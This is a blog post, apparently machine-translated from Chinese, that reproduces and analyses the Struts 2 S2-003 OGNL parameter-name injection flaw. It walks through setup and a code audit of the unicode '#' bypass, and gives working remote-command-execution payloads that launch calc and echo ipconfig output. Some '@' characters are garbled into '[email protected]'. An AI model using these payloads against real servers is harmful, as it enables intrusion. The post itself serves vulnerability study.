"Java security" struts 2 OGNL 2.1.8.1 parameter name injection vulnerabilities S2-003 emersion and analysed

Ho1aAs 2022-08-06 12:32:18 阅读数:937

javasecuritystrutsognl2.1.8.1

漏洞简介

Struts 2Parse parameter names usedOGNL表达式,构建恶意OGNLExpressions can cause injection

影响范围

Struts ≤ 2.1.8.1并且部署在tomcat6

tomcat archive

漏洞复现

环境配置

8u111 + Struts 2.1.8.1 + tomcat 6.0.10,S2Just need the following fivejar

在这里插入图片描述
Just write a simple oneActionJust accept the parameters

在这里插入图片描述
在struts.xml注册action

在这里插入图片描述

复现操作

?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(aaa)(aaa)&('\u0023myret\[email protected]@getRuntime().exec(\'calc\')')(aaa)(aaa)

向rce.action发送GET请求即可

在这里插入图片描述

代码审计

观察payload是用了OGNLexpression properties:
(a)(b),具体看su18The master's analysis is very comprehensive,简而言之就是b任意、会对aDo two parsing once to a string、Once is expression parsing

在S2-001Inside the audit know:ParameterInterceptorClass used to handle request parameters,看一下doIntercept方法:setA parameter was previously set to turn off the execution function,所以要在OGNLTurn this parameter on before injection

在这里插入图片描述
This parameter is inside the context,直接修改context["xwork.MethodAccessor.denyMethodExecution"]=false即可

在这里插入图片描述
to modify variables#

('#context[\'xwork.MethodAccessor.denyMethodExecution\']=false')(aaa)

接着来到setParameters方法,首先调用acceptableNamemethod to get the parameter name

在这里插入图片描述
进行校验是否合法

在这里插入图片描述
A regular judgment was made,过滤了#,Then modify the abovecontextThe parameters have to find a way to bypass

在这里插入图片描述
先往后看,After it is legal, the parameter key value will be obtained in turn,Then parse and store it on the parameter stack

在这里插入图片描述
setValueThe parameter key value was done beforecompile操作

在这里插入图片描述
继续追入,调用OnglParserTokenMananger来读取字符串

在这里插入图片描述
其中又调用了JavaCharStream都readChar方法,Compatibility can be seen hereunicode,Therefore, the above bypass can be used#的unicode绕过,Assign values ​​to static variables here=也要unicode编码一下

在这里插入图片描述

之后就是调用OgnlUtil.setValue()OGNL解析了,This method requires one more node when parsing,所以在payloadFollowing are two nodes

流程

  • OGNL以节点(payload)(aaa)(bbb)形式传入
  • 修改参数context[\'xwork.MethodAccessor.denyMethodExecution\']
  • unicode编码

利用

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\[email protected]@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

参考

https://cwiki.apache.org/confluence/display/WW/S2-003
https://su18.org/post/struts2-1/#s2-003
https://www.cnblogs.com/devi1/p/13486634.html

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/126087500
版权声明:本文为原创,转载时须注明出处及本声明

copyright:author[Ho1aAs],Please bring the original link to reprint, thank you. https://en.javamana.com/2022/218/202208061216040251.html